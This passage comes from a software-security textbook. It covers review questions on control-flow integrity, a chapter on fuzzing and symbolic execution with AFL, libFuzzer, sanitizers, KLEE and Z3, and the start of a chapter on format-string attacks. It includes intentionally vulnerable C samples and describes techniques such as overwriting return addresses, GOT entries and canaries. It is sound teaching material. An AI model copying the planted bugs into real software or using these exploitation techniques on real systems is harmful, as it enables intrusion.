A. Changing 10 to another integer. B. Changing fp so that it points to an invalid function. C. Changing the machine code of the called function. D. Causing a stack overflow in fp.

Answer

B. Forward-edge CFI checks the target of the indirect call. Changing the argument (A) is a data attack CFI does not address; changing machine code (C) is prevented by W⊕X; (D) is unrelated.

4. Why is a shadow stack more precise than any static CFG for return instructions?

Answer

A static CFG must allow a function’s ret to go to every return site of every call to that function, because it cannot know which call is active. For widely used functions such as memcpy, that is hundreds of targets. A shadow stack records the actual return address pushed by the actual call, so at runtime exactly one target is allowed.

5. A program is compiled with Clang’s -fsanitize=cfi. An attacker with a heap overflow overwrites a void (*)(char *) function pointer. Name one target the attacker can still reach and one they cannot.

Answer

They can still reach any address-taken function whose type is void (char *) (for example, if the program anywhere takes the address of a logging function with that signature). They cannot reach system if its type does not match (int (const char *)), nor the middle of any function, nor a function whose address is never taken. If an address-taken void (char *) function does something dangerous with its argument, the attack may still succeed — CFI limits targets; it does not judge their semantics.

6. Why must CFI be combined with a non-executable data policy (W⊕X)?

Answer

If data were executable, the attacker could inject code that contains no CFI checks (or forge a valid label in front of it) and jump there. If code were writable, the attacker could simply overwrite the checks. CFI’s guarantees assume code is immutable and data is not executable.

7. On a modern Ubuntu system you disassemble /bin/ls and see endbr64 at the start of nearly every function. What is it, what does it cost on a CPU without CET, and what attacks does it hinder on a CPU with IBT enabled?

Answer

It is Intel CET’s ENDBRANCH marker, emitted because Ubuntu’s GCC enables -fcf-protection by default. On CPUs without CET it executes as a nop, costing essentially nothing. With IBT enforced, an indirect call or jump that does not land on an endbr raises a control-protection fault, so jump-oriented or call-oriented gadgets in the middle of functions become unusable as indirect-branch targets.

Summary

  • Control-flow hijacking abuses indirect transfers: forward edges (indirect calls/jumps through function pointers and vtables) and backward edges (returns).
  • CFI computes a CFG ahead of time and instruments every indirect branch to check its runtime target against it, typically with labels on valid targets. It assumes W⊕X and tolerates an attacker who controls all of data memory.
  • Shadow stacks give precise backward-edge protection by keeping a protected copy of each return address.
  • CFI is only as strong as its precision. Coarse-grained CFI was bypassed with call-preceded and entry-point gadgets; even precise static CFI needs a shadow stack.
  • CPI/CPS protect code pointers as data in an isolated safe region instead of checking every branch.
  • Clang/LLVM CFI enforces type-based forward-edge checks via jump tables (needs -flto -fvisibility=hidden); context-sensitive CFI uses path or origin history for more precision.
  • Hardware CFI — Intel CET (IBT + shadow stack) and ARM PAC/BTI — brings the cost close to zero and is now shipping, though IBT’s forward-edge policy is coarse.

Connection to the Labs

Lab 2 builds a return-to-libc attack and a short ROP chain. After finishing it, think about which edge each step of your exploit violates: the overwritten return address in bof() is a backward-edge violation that a shadow stack would catch immediately, while jumping to the start of system() would satisfy a coarse forward-edge policy such as IBT. As an optional exercise, recompile the lab’s vulnerable program with -fcf-protection=full and inspect the result with objdump -d and readelf -n; on a CET-capable machine with user shadow stacks enabled, observe how the attack fails.

Further Reading

  • Martín Abadi, Mihai Budiu, Úlfar Erlingsson, and Jay Ligatti. “Control-Flow Integrity.” ACM CCS, 2005. Extended version: “Control-Flow Integrity: Principles, Implementations, and Applications.” ACM TISSEC 13(1), 2009.
  • Volodymyr Kuznetsov, László Szekeres, Mathias Payer, George Candea, R. Sekar, and Dawn Song. “Code-Pointer Integrity.” USENIX OSDI, 2014.
  • Caroline Tice, Tom Roeder, Peter Collingbourne, Stephen Checkoway, Úlfar Erlingsson, Luis Lozano, and Geoff Pike. “Enforcing Forward-Edge Control-Flow Integrity in GCC & LLVM.” USENIX Security, 2014.
  • Enes Göktaş, Elias Athanasopoulos, Herbert Bos, and Georgios Portokalidis. “Out of Control: Overcoming Control-Flow Integrity.” IEEE S&P, 2014.
  • Nicholas Carlini, Antonio Barresi, Mathias Payer, David Wagner, and Thomas R. Gross. “Control-Flow Bending: On the Effectiveness of Control-Flow Integrity.” USENIX Security, 2015.
  • Ren Ding et al. “Efficient Protection of Path-Sensitive Control Security.” USENIX Security, 2017.
  • Mustakimur Rahman Khandaker et al. “Origin-sensitive Control Flow Integrity.” USENIX Security, 2019.
  • Clang documentation, “Control Flow Integrity”: https://clang.llvm.org/docs/ControlFlowIntegrity.html
  • Intel CET overview (Linux Plumbers Conference 2020): https://lpc.events/event/7/contributions/729/attachments/496/903/CET-LPC-2020.pdf

Chapter 9: Finding Vulnerabilities: Testing, Fuzzing, and Symbolic Execution

Every exploit in the previous chapters started from a bug that someone had already found: a strcpy into a 64-byte buffer, a function pointer next to it, a missing length check. We took the bug as given and asked how to turn it into control of the program. This chapter turns the question around. Given a large program you did not write — a PDF reader, an image library, a network daemon — how do you find the bugs in the first place?

The answer matters to both sides. Attackers want to find exploitable bugs before anyone else does; defenders want to find them before attackers do. The tools are the same, and today the most productive of them are automated: fuzzers that throw millions of mutated inputs at a program, and symbolic execution engines that reason mathematically about which inputs reach which code. Increasingly, large language models sit alongside both.

Learning objectives. After this chapter you should be able to:

  • Explain the two halves of vulnerability discovery: locating a bug and reaching it.
  • Classify testing approaches as manual or automated, black-box or white-box, and name a tool in each category.
  • Define function, statement, and branch coverage, and explain why coverage guides fuzzing.
  • Run AFL/AFL++ and libFuzzer on a small target, and explain how AFL’s coverage bitmap works and why sanitizers matter.
  • Explain symbolic execution, path constraints, and SMT solving, and why path explosion limits it.
  • Describe how hybrid (concolic) fuzzing and LLMs extend these techniques.

9.1 From Bugs to Exploits

Finding a security bug, whether in source code (an open-source project) or in a binary (a closed-source product or a malware sample), involves two distinct questions:

// Q2: how do we reach it?
if (magic == 0x31323334) {
    // Q1: is this a bug?
    memcpy(dst, src, len);
}
  1. Is this a bug? Locate code that can misbehave: a memcpy whose len is not checked against the size of dst, a format string built from user input, an integer that can wrap (Chapter 12).
  2. Can we trigger it? This is reachability: is there an input that drives the program from its entry point, through all the intervening checks, to the buggy statement with the dangerous values? Here the input must contain the 32-bit value 0x31323334 (the bytes "4321" in little-endian memory) at the right place.

A bug that cannot be reached by any attacker-controlled input is not a vulnerability. Conversely, a reachable crash is the raw material for every exploit we have studied. The techniques in this chapter differ mainly in how they answer these two questions: humans reading code are good at Q1 but slow at Q2; fuzzers answer Q2 by brute force; symbolic execution answers Q2 by solving equations.

9.2 Code Review and Its Limits

The oldest technique is reading the code. Experienced reviewers recognize patterns instantly:

int i;
int array[5];
int j;
for (i = 0; i <= 5; i++)       /* off-by-one: writes array[5] */
    cin >> array[i];

The loop runs six times for a five-element array; the sixth write lands on whatever the compiler placed next to array — possibly j or i itself.

char *initialize() {
    char string[80];
    char *ptr = string;
    return ptr;                 /* returns a pointer into a dead stack frame */
}

int main() {
    char *myval = initialize();
    do_something_with(myval);   /* uses memory that the next call will overwrite */
}

Here string lives in initialize’s stack frame, which is reclaimed when the function returns. The pointer survives, but the memory is reused by the very next call — a dangling pointer to stack memory (compilers warn about the obvious form of this, but not when the pointer passes through a variable as above).

Code review finds real bugs, and security-critical projects require it. But it does not scale. A browser has tens of millions of lines; a single reviewer cannot hold the data flow of even one component in their head, and the dangerous path often crosses dozens of functions and files. We need machines to do most of the work.

9.3 A Taxonomy of Software Testing

Software testing compares a program’s behavior on some input against its specification — its supposed behavior. A test fails when the observed behavior differs from the expected one; for security testing, the “specification” is often simply does not crash, does not corrupt memory, does not hang.

                 +-------------------+
      input ---> |      program      | ---> observed behavior
                 +-------------------+              |
                                                    v
                                     compare with expected behavior

Testing approaches vary along two axes. Who creates the tests — a human (manual) or a tool (automated)? What does the tester know — only the interface (black-box) or the source/internal structure (white-box)?

Black-box (no source needed)White-box (source / internals used)
ManualPenetration testing; crafting malformed inputs by hand; frameworks such as MetasploitHand-written unit and integration tests; test-driven development; CI test suites
AutomatedBlack-box fuzzers; binary-only coverage fuzzers (e.g., WinAFL, AFL QEMU mode)Coverage-guided fuzzing with compile-time instrumentation (AFL/AFL++, libFuzzer); whitebox fuzzing / symbolic execution (SAGE, KLEE)

Each axis is a trade-off:

  • Automated testing finds bugs quickly, needs no hand-written tests, and needs no test maintenance when the software changes. Manual testing produces a compact, intentional test suite that can target logic no tool understands.
  • Black-box testing needs no access to or analysis of the code, works on code in any format (managed, binary, obfuscated), and works on code you cannot modify. White-box testing can measure and target internal structure, and so tends to achieve better coverage with fewer tests.

Manual white-box testing in practice

Tests written by hand require full knowledge of the source code, deployment, and infrastructure, but they can target any part of the system. Running them can be automated: modern projects run their suites on every commit, merge, or deployment in continuous integration (CI). Test-driven development writes the test first — including, for security, regression tests for every vulnerability ever fixed, so that it never silently returns.

Manual black-box testing

A penetration tester interacts with a running system from the outside, crafts ill-formed inputs, and watches how it reacts. Frameworks such as Metasploit package known exploits and scanning modules so that a tester can probe a target’s components — or the application as a whole — for known vulnerabilities and demonstrate compromise (stealing data, getting a shell).

9.4 Measuring Tests: Code Coverage

How do we know whether a test suite is good? Too few tests miss bugs; too many cost time to run and maintain. The standard proxy is code coverage: the fraction of the program’s code that the tests execute.

  • Function coverage: which functions were called at least once?
  • Statement coverage: which statements (or lines) were executed?
  • Branch coverage: for each conditional, were both the true and the false outcomes taken?
int f(int a, int b)
{
    int r = 0;
    if (a > 10)          /* branch 1 */
        r += 1;
    if (b == 42)         /* branch 2 */
        r += 2;
    return r;
}

The single test f(11, 42) executes every statement (100% statement coverage) but only the true side of each branch (50% branch coverage). Adding f(0, 0) reaches 100% branch coverage. Note that even then, these two tests exercise only two of the four paths — combinations of branch outcomes — through f; path coverage grows exponentially with the number of branches and is rarely achievable.

GCC can measure coverage for you:

$ gcc --coverage f.c test.c -o test && ./test
$ gcov -b f.c
Branches executed:100.00% of 4
Taken at least once:50.00% of 4

100% coverage is rare in practice — some code is unreachable or handles conditions that cannot be produced in a test environment — but it is required in some safety-critical domains. For security, the key insight is the converse: code that your tests never execute is code in which your tests can never find a bug. That insight is what turns fuzzing from random guessing into a search.

9.5 Coverage-Guided Fuzzing with AFL

Fuzzing means running a program on a huge number of automatically generated inputs and watching for crashes or hangs. The earliest fuzzers (Barton Miller’s 1990 study of Unix utilities) fed purely random bytes. Random inputs are rejected almost immediately by any non-trivial parser, so pure random fuzzing explores only the outermost layer of the program.

American Fuzzy Lop (AFL), released by Michał Zalewski in 2013, made fuzzing dramatically more effective with one idea: use coverage feedback to decide which inputs are worth mutating further. AFL is a free, open-source fuzzer, and its design is the template for most modern fuzzers.

The AFL loop

         +---------------------------------------------------------+
         |                                                         |
         v                                                         |
   +-----------+   pick    +----------+  run   +-----------------+ |
   |  queue of | --------> |  mutate  | -----> |  instrumented   | |
   |  inputs   |  an input | (bitflip,|        |  target program | |
   | (seeds +  |           |  arith,  |        +-----------------+ |
   | discovered|           |  splice, |                 |          |
   |  inputs)  |           |  havoc)  |        coverage bitmap,    |
   +-----------+           +----------+        crash? hang?        |
         ^                                              |          |
         |      new coverage? keep the input            |          |
         +----------------------------------------------+          |
                                                        |  crash   |
                                                        v          |
                                               output/crashes/ ----+
  1. Start from one or more seed inputs (any valid-ish example files).
  2. Pick an input from the queue and apply mutations: flip bits, add or subtract small integers, insert “interesting” values (0, −1, INT_MAX), splice two inputs together, and stack random combinations (“havoc”).
  3. Run the instrumented program on each mutant and record which edges of the control-flow graph it exercised.
  4. If a mutant exercised a new edge (or an existing edge a substantially different number of times), it is interesting: add it to the queue.
  5. If the program crashed (e.g., SIGSEGV, SIGABRT, SIGILL) or hung, save the input for a human to triage.

This is a genetic algorithm with coverage as the fitness function. An input that gets one byte further into a parser is kept and becomes the starting point for the next step, so the fuzzer can peel through layers of checks one at a time.

How AFL measures coverage

At compile time, afl-gcc (a wrapper around GCC) inserts a small piece of code at the start of every basic block, each with a random compile-time constant as its ID. At runtime, the instrumentation updates a 64 KB bitmap shared with the fuzzer:

cur_location = <COMPILE_TIME_RANDOM>;
shared_mem[cur_location ^ prev_location]++;
prev_location = cur_location >> 1;

XOR-ing the current block’s ID with the (shifted) previous block’s ID gives an index for the edge prev → cur, not just the block; shifting prev_location makes the edge A → B distinct from B → A. Each bitmap byte counts how often an edge was taken, and AFL buckets those counts (1, 2, 3, 4–7, 8–15, 16–31, 32–127, 128+) so that “the loop ran 5 times instead of 4” does not count as new behavior but “the loop ran 50 times instead of 4” does. Comparing the bitmap after each run against the global “seen” map is a fast, constant-size operation, which is why AFL can execute thousands of inputs per second.

A worked example

/* crackme487.c */
#include <unistd.h>

int main(int argc, char *argv[])
{
    char data[100] = {0};
    size_t size = read(0, data, 100);

    if (size > 0 && data[0] == '4')
        if (size > 1 && data[1] == '8')
            if (size > 2 && data[2] == '7')
                __builtin_trap();     /* the "bug": crashes with SIGILL */

    return 0;
}

Any input beginning with 487 triggers the built-in bug. Random inputs would need to guess three bytes at once — about one chance in 16.7 million per try. AFL needs far fewer attempts: the first time a mutant happens to start with 4, the new edge into the second if makes it interesting, and it is saved. From then on, AFL mutates inputs that already start with 4 and needs only to guess 8 (one in 256), and so on. The search is incremental, and each step is cheap.

To run it:

$ afl-gcc crackme487.c -o crackme487.afl     # instrument at compile time
$ mkdir input && echo AAAA > input/test        # create a seed input
$ afl-fuzz -i input -o output ./crackme487.afl # fuzz; input is fed on stdin

On many Linux systems, afl-fuzz refuses to start until crash reports are delivered directly rather than to an external crash handler (which would make AFL misclassify crashes as timeouts):

$ sudo sh -c "echo core >/proc/sys/kernel/core_pattern"

AFL’s status screen shows executions per second, paths found, and — within seconds for this example — a non-zero uniq crashes count. The crashing inputs are saved in output/crashes/ (output/default/crashes/ with AFL++); replay one to confirm:

$ ./crackme487.afl < output/crashes/id:000000,*
Illegal instruction (core dumped)

If the program reads a file named on its command line instead of standard input, put @@ where the file name goes: afl-fuzz -i input -o output ./prog @@.

Try it. The public afl-training workshop materials (https://github.com/mykter/afl-training) walk through fuzzing real libraries step by step, including writing harnesses, using dictionaries, and triaging crashes. Work through the quickstart before attempting real targets.

AFL++

The original AFL is no longer developed. Its community successor, AFL++ (https://github.com/AFLplusplus/AFLplusplus), is faster and adds better mutations, better instrumentation (afl-cc, afl-clang-fast, and afl-clang-lto use LLVM passes instead of assembly rewriting), custom mutator modules, and several features aimed squarely at the “magic value” problem discussed in §9.7: CmpLog (inspired by the RedQueen paper) records the operands of comparisons at runtime and splices them into inputs, and laf-intel splits a 32-bit comparison into four 8-bit comparisons so coverage feedback can reward each matching byte separately. For new work, use AFL++.

9.6 In-Process Fuzzing with libFuzzer, and Why Sanitizers Matter

AFL starts (or forks) the target process for every input. libFuzzer, part of LLVM/Clang, instead links the fuzzer into the target and calls a single entry function in a loop, which avoids process creation and can run hundreds of thousands of inputs per second. You write a fuzz harness — a function that takes a byte buffer and feeds it to the code under test:

/* fuzz_parse.c */
#include <stdint.h>
#include <stddef.h>
#include <string.h>

static int parse_header(const uint8_t *buf, size_t len)
{
    char name[16];
    if (len < 4 || memcmp(buf, "HDR:", 4) != 0)
        return -1;
    memcpy(name, buf + 4, len - 4);     /* BUG: no check against sizeof(name) */
    return name[0];
}

int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size)
{
    parse_header(data, size);
    return 0;                           /* non-zero values are reserved */
}
$ clang -g -O1 -fsanitize=fuzzer,address fuzz_parse.c -o fuzz_parse
$ ./fuzz_parse
...
==12345==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd...
WRITE of size 21 at 0x7ffd... thread T0
    #0 ... in __asan_memcpy
    #1 ... in parse_header fuzz_parse.c:11
...
artifact_prefix='./'; Test unit written to ./crash-5f1c...

-fsanitize=fuzzer links libFuzzer’s driver (so you do not write main), and -fsanitize=address adds AddressSanitizer.

Why fuzzers need sanitizers

A fuzzer can only report bugs it can observe, and most memory-corruption bugs do not crash. Overflowing name by five bytes may silently corrupt a neighboring local variable, and the program carries on. The bug is there; the fuzzer simply cannot see it.

Sanitizers turn silent corruption into an immediate, well-described crash:

  • AddressSanitizer (ASan) surrounds every stack, heap, and global object with poisoned redzones and records, in a compact shadow memory, which bytes are addressable. Every load and store is instrumented to check the shadow first. It detects out-of-bounds accesses, use-after-free, double free, and more, at roughly a 2× slowdown.
  • UndefinedBehaviorSanitizer (UBSan, -fsanitize=undefined) detects signed integer overflow, invalid shifts, misaligned pointers, and other undefined behavior (Chapter 12).
  • MemorySanitizer (uses of uninitialized memory) and ThreadSanitizer (data races) cover other bug classes.

Fuzzing + sanitizers is the standard recipe. Google’s continuous fuzzing service for open source, OSS-Fuzz, builds every project with libFuzzer or AFL++ and sanitizers and has reported tens of thousands of bugs.

9.7 Black-Box Fuzzing and the Limits of Fuzzing

When you have only a binary — closed-source software, firmware, a malware sample — you cannot recompile with instrumentation. Automated black-box (or “binary-only”) fuzzing still needs the same three components:

  1. Test-case generation — mutation of seeds, or generation from a grammar or protocol description.
  2. Tracing the execution to obtain coverage, using
    • dynamic binary instrumentation, which rewrites code as it runs (DynamoRIO, TinyInst);
    • an emulator that translates and observes every block (QEMU — AFL’s -Q mode);
    • hardware tracing that records branches with little overhead (Intel Processor Trace, PT).
  3. Exception detection and logging — catching crashes and hangs and saving the inputs that caused them.

WinAFL (https://github.com/googleprojectzero/winafl), from Google Project Zero, is an example: it brings AFL-style coverage-guided fuzzing to closed-source Windows applications, obtaining coverage through DynamoRIO, Intel PT, or TinyInst.

Fuzzing: strengths

Fuzzing automatically discovers bugs and proves them — every finding comes with a concrete crashing input, so there are no false positives to argue about — and the fixed version can be re-fuzzed to confirm the correction. It is remarkably effective for its simplicity, and it is the workhorse of industrial vulnerability discovery. In DARPA’s 2016 Cyber Grand Challenge, fully autonomous systems found, exploited, and patched bugs in previously unseen binaries with no human involvement; the participating systems all combined fuzzing with other program analyses.

Fuzzing: weaknesses

  • Non-determinism. Results depend on random choices and on how long you run it. Two campaigns on the same target can find different bugs, and “no crash after 24 hours” proves nothing.
  • Hard-to-pass checks. Coverage feedback rewards progress only when a new edge is taken. A check like magic == 0x31323334 is a single edge that is taken only when all 32 bits match at once — there is no partial credit, so mutation is reduced to blind guessing (one in 2³²). Worse are checksums (a network packet whose CRC must match its contents) and grammar checks (bytecode or source that must parse before any interesting code runs): almost every mutation breaks them.

The usual remedies are dictionaries of magic tokens, comparison splitting (laf-intel), comparison logging (CmpLog), grammar-aware generators, and patching checksums out of the target during fuzzing. The principled remedy is to compute the input that passes the check — which is exactly what symbolic execution does.

9.8 Symbolic Execution

A normal (concrete) execution runs the program on one specific input. Symbolic execution runs it on symbols standing for all possible inputs and keeps track of two things:

  • a symbolic state mapping each variable to an expression over the input symbols;
  • a path constraint — the conjunction of branch conditions that must hold for the execution to have followed the current path.

At each branch whose condition depends on symbolic input, execution forks: one copy continues with the condition added to its path constraint, the other with its negation. When a path reaches something interesting — a crash, an assertion, a memcpy with an out-of-range length — the engine asks a constraint solver for a concrete input satisfying the path constraint. That input is guaranteed to drive the program down exactly that path.

A worked example

void process(int x, int y)
{
    int z = 2 * y;
    if (x == 0x31323334) {        /* the "magic" check */
        if (z == x + 10)
            bug();                /* we want to reach this */
    }
}

Treat the inputs as symbols x = α, y = β:

                         z = 2β
                            |
                  α == 0x31323334 ?
                  /                \
               true                false
                /                     \
         2β == α + 10 ?             return
          /          \              PC: α != 0x31323334
       true          false
        |              \
      bug()           return
  PC: α == 0x31323334     PC: α == 0x31323334
      ∧ 2β == α + 10          ∧ 2β != α + 10

To reach bug(), the solver must satisfy α = 0x31323334 ∧ 2β = α + 10. It answers for example α = 0x31323334, β = 0x1899199F — instantly, where a mutation fuzzer would need on the order of 2³² attempts just for the first condition. Each leaf yields one test input, and together they cover every path.

SMT solvers

The path constraints of real programs involve machine arithmetic — 32-bit wrap-around, bitwise operations, array (memory) reads and writes — so symbolic executors use Satisfiability Modulo Theories (SMT) solvers, which decide the satisfiability of formulas over theories such as fixed-width bit-vectors and arrays. Z3 (from Microsoft Research) and STP are widely used. Modeling bit-vectors precisely matters: over mathematical integers, x + 1 < x is unsatisfiable, but over 32-bit machine integers it is satisfied by x = 0x7fffffff (signed) — precisely the kind of integer-overflow bug in Chapter 12.

You can try the solving step directly with Z3’s Python bindings:

from z3 import BitVec, Solver

x, y = BitVec('x', 32), BitVec('y', 32)
s = Solver()
s.add(x == 0x31323334, 2 * y == x + 10)
print(s.check(), s.model())   # e.g. sat [y = 412686751, x = 825373492]

Tools

  • KLEE (https://klee.github.io/) symbolically executes LLVM bitcode compiled from C programs. Its OSDI 2008 paper ran it on the GNU Coreutils and automatically generated tests with high coverage that also found serious bugs in these heavily tested programs.
  • angr (https://angr.io/) is a Python framework for binary analysis that includes a symbolic execution engine working directly on machine code; it is a favorite for CTF reverse-engineering challenges (“find the input that prints Correct!”).

The fundamental problem: path explosion

Every symbolic branch can double the number of paths. A loop that runs up to n times on symbolic data produces n paths; nested loops and loops over input buffers quickly produce more paths than there are atoms in the universe. This is path (state) explosion, and it is why symbolic execution alone does not scale to large programs. Further costs come from modeling the environment (system calls, files, the network), from symbolic memory addresses (a write to buf[i] with symbolic i might touch any element), and from constraints too hard for the solver.

Whitebox fuzzing and concolic execution

The practical compromise is to mix concrete and symbolic execution — concolic execution. Godefroid, Levin, and Molnar’s SAGE (“Automated Whitebox Fuzz Testing,” NDSS 2008), used at scale at Microsoft on file parsers, worked like this:

  1. Run the program concretely on a well-formed input and record the trace.
  2. Re-execute the trace symbolically to collect the path constraint of that one path.
  3. Negate one branch condition at a time, ask the solver for an input satisfying the modified constraint, and run the program on that new input.

Because each step follows a real, concrete path, the environment and hard constraints can always fall back to concrete values, and the search explores paths systematically from known-good inputs.

Hybrid fuzzing splits the work by strength: a fast coverage-guided fuzzer explores most of the program, and when it gets stuck behind a check it cannot pass, a concolic engine solves that one branch and hands the resulting input back to the fuzzer. Driller (Stephens et al., NDSS 2016) paired AFL with angr this way; QSYM (Yun et al., USENIX Security 2018) made the concolic side fast enough to keep up with the fuzzer by executing natively and solving constraints selectively.

9.9 AI-Assisted Vulnerability Discovery

Large language models are now part of the toolbox at nearly every step:

  • Harness generation. The hardest part of fuzzing a library is often writing a good harness that calls its API correctly. LLMs read the API and write candidate LLVMFuzzerTestOneInput functions; the fuzzing infrastructure compiles and runs them and keeps the ones that build and increase coverage. Google’s open-source OSS-Fuzz-gen project applies this to OSS-Fuzz projects.
  • Seed and grammar generation. An LLM that knows what a valid PDF, ELF file, or HTTP request looks like can produce structurally valid seeds or input grammars, getting a fuzzer past format checks that would stop mutation alone.
  • Crash triage. Fuzzers produce many crashing inputs, most of them duplicates of a few root causes. LLMs can read sanitizer reports and stack traces, deduplicate, explain the root cause, and estimate exploitability — and then propose a patch.
  • Code review at scale. LLMs can flag suspicious code (Q1 from §9.1), but they also hallucinate bugs that are not there. The strongest systems therefore combine them with tools that produce evidence: a model suggests where a bug might be, and a fuzzer or symbolic executor confirms it with a concrete crashing input.

DARPA’s AI Cyber Challenge (AIxCC) built a competition around exactly this pipeline: autonomous systems combining LLMs with fuzzing and program analysis had to find and patch vulnerabilities in real open-source software such as the Linux kernel and widely used libraries.

Note. The usual cautions apply. LLM findings without a reproducing input are hypotheses, not bugs; and the same capabilities help attackers. The rest of this course returns to AI as both a security tool and a new attack surface.

Check Your Understanding

1. In the code below, explain the two separate questions a bug hunter must answer, and give an input property that answers the second.

if (magic == 0x31323334) { memcpy(dst, src, len); }
Answer

Q1 (is it a bug?): does memcpy copy more than dst can hold, i.e., is len attacker-influenced and unchecked? Q2 (reachability): can an input make magic equal 0x31323334 so execution reaches the memcpy? If magic is read from the first four bytes of the input on a little-endian machine, the input must start with the bytes 34 33 32 31, i.e., the string "4321".

2. A test suite achieves 100% statement coverage of a function. Does it necessarily achieve 100% branch coverage? Give an example.

Answer

No. For if (a > 10) r += 1; the single test a = 11 executes every statement, but the false outcome of the branch (skipping r += 1) is never taken, so branch coverage is 50%. Bugs that occur only when a branch is not taken (e.g., a variable left uninitialized) are missed.

3. Why does AFL record edges (prev ^ cur) rather than just which basic blocks executed? Why is prev_location shifted right by one?

Answer

Two inputs can execute the same set of blocks in different orders or along different transitions (e.g., A→B→C vs. A→C plus B elsewhere); edges distinguish these behaviors, giving a finer fitness signal. The shift makes the index asymmetric, so A→B and B→A map to different bitmap entries, and a tight self-loop A→A does not always map to index 0.

4. Your fuzzer has run for a day on a parser with no crashes. You rebuild with -fsanitize=address and it finds three bugs in an hour. Why?

Answer

Most memory errors — small overflows, use-after-free, reading freed memory — corrupt memory silently without crashing, so the fuzzer cannot observe them. ASan checks every access against shadow memory and aborts immediately with a report on the first invalid access, turning silent corruption into a detectable crash.

5. Explain why a mutation-based fuzzer struggles with if (crc32(pkt, n) == pkt->checksum), and name two ways to get past it.

Answer

Almost any mutation of the packet body changes its CRC so the check fails, and the check is a single edge with no partial-credit feedback; the fuzzer never gets past it. Remedies: patch or compile out the check in the fuzzing build (and fix up checksums when reproducing); use a structure-aware or grammar-based generator that recomputes the checksum; use concolic/hybrid fuzzing to solve for inputs (though CRCs over long data can still be hard for solvers — patching is the common practical fix).

6. For if (x > 5) { if (x * 2 == 22) bug(); } with 32-bit int x, write the path constraint for reaching bug() and give a solution.

Answer

x > 5 ∧ 2x = 22 (in 32-bit arithmetic). x = 11 satisfies it. (Over 32-bit bit-vectors, 2x = 22 has a second solution, x = 11 + 2³¹, which as a signed int is negative and so fails x > 5 — an example of why solvers must model machine arithmetic exactly.)

7. What is path explosion, and how does hybrid fuzzing (e.g., QSYM) avoid most of its cost?

Answer

Each symbolic branch can fork execution, so the number of paths grows exponentially with the number of branches and loop iterations, making exhaustive symbolic execution infeasible for real programs. Hybrid fuzzing lets a cheap fuzzer explore most paths concretely and invokes concolic execution only on specific inputs and specific branches the fuzzer cannot pass, solving one constraint at a time instead of enumerating all paths.

Summary

  • Vulnerability discovery has two halves: locating a bug and reaching it with attacker-controlled input.
  • Code review finds bugs but does not scale; testing is classified as manual vs. automated and black-box vs. white-box.
  • Code coverage (function, statement, branch) measures what tests exercise; untested code cannot yield bugs.
  • Coverage-guided fuzzing (AFL, AFL++, libFuzzer) mutates inputs and keeps those that reach new edges, peeling through checks incrementally. Sanitizers (ASan, UBSan) make silent memory errors visible to the fuzzer.
  • Binary-only fuzzing obtains coverage via dynamic instrumentation, emulation, or hardware tracing (e.g., WinAFL).
  • Fuzzing is effective and produces proof-of-concept inputs but is non-deterministic and blocked by magic values, checksums, and grammars.
  • Symbolic execution collects path constraints and solves them with SMT solvers (KLEE, angr) but suffers from path explosion; concolic/whitebox fuzzing (SAGE) and hybrid fuzzing (Driller, QSYM) combine it with concrete execution.
  • LLMs increasingly generate harnesses and seeds, triage crashes, and propose patches — most reliably when paired with tools that produce concrete evidence.

Connection to the Labs

There is no dedicated lab for this chapter, but the techniques apply to all of them. Try these exercises in your VM:

  • Fuzz the crackme487.c example above with AFL/AFL++ and measure how long it takes to find the crash; then replace the three byte checks with a single 32-bit comparison and observe how much harder it becomes (and how AFL++’s CmpLog mode changes that).
  • Write a libFuzzer harness for the vulnerable functions in Lab 2 or Lab 3 and check that ASan pinpoints the overflow or format string bug.
  • Use angr or Z3 to solve for an input that reaches a guarded branch in a small crackme.
  • Many final-project ideas (fuzzing AI agents or MCP servers, LLM-generated harnesses, automatic patch generation) build directly on this chapter.

Further Reading

Chapter 10: Format-String Vulnerabilities

The attacks in the previous chapters all had the same shape: a buffer overflows and the attacker overwrites whatever happens to lie next to it — a flag, a function pointer, a saved return address. The defenders answered with canaries, randomization, and non-executable memory. Each of those defenses relies on a secret or an assumption that the attacker cannot read or write memory at will. This chapter introduces a bug that hands the attacker exactly that ability.

A format-string vulnerability occurs when a program lets attacker-controlled data become the format string of a printf-family function. The bug looks almost harmless — printf(buf) instead of printf("%s", buf) — yet with nothing but a carefully chosen string, an attacker can crash the program, read the stack, read any address in memory, and write any value to any address. With those primitives, canaries can be read and skipped, ASLR can be defeated by leaking addresses, and the return address can be rewritten without overflowing anything at all.

Learning objectives. After this chapter you should be able to:

  • Explain why arbitrary memory read and write primitives are so valuable to an attacker, and which defenses each one defeats.
  • Describe how variadic C functions find their optional arguments, and how printf walks the stack on 32-bit x86.
  • Predict what printf(user_input) prints for a given stack layout and input.
  • Use %s, %x, %n, %hn, %hhn, and the %k$ parameter field to crash a program, leak memory, and write chosen values to chosen addresses.
  • Compute the width fields needed to write a specific 4-byte value with two %hn writes, and use them to redirect a return address to injected code.
  • Explain what changes on x86-64 and what developers, compilers, and libraries do to prevent these attacks.

10.1 Why Arbitrary Read and Write Matter

Before diving into printf, it is worth asking what an attacker would do with the ability to read or write memory anywhere, because that is the payoff of this whole chapter.

Recall the arms race from Chapter 4 through Chapter 7. A stack buffer overflow overwrites a contiguous range of memory starting at the buffer. The defenses from Chapter 6 were designed against exactly that:

                        high address
   +------------------+
   |  input           |
   +------------------+
   |  return address  |  <- the prize
   +------------------+
   |  canary          |  <- StackGuard: overflow must pass through this
   +------------------+
   |  saved %ebp      |
   +------------------+
   |  locals ...      |
   +------------------+
   |  buf  (ROP       |  <- overflow starts here and moves upward
   |       payload)   |
   +------------------+
                        low address

A linear overflow must trample the canary to reach the return address, and the attacker must know where code lives to make the new return address useful. Both assumptions break if the attacker can read and write memory selectively.

Arbitrary memory read lets the attacker leak critical data:

  • Secrets, such as a password, a session key, or a private key held in memory.
  • The stack canary. Once the canary value is known, an overflow can simply write the correct value back into the canary slot, and the check at function exit passes.
  • Code and data addresses. A single leaked return address or library pointer reveals where a randomized module was loaded; subtracting a known offset gives its base, and ASLR is defeated for that module.

Arbitrary memory write lets the attacker change state directly:

  • Program data, such as an is_admin flag, a stored password hash, or a counter.
  • Control data, such as a saved return address, a function pointer, or an entry in the Global Offset Table (GOT) that the next call through the PLT will jump to (see Chapter 7). Overwriting a return address without touching the canary is the classic way a format-string bug bypasses StackGuard.

How does one get such primitives? Out-of-bounds reads and writes through a bad index or a bad length are one route; ROP gadgets that load from or store to attacker-chosen registers are another. The format-string bug is the purest route of all: the attacker supplies both the address and, as we will see, the value.

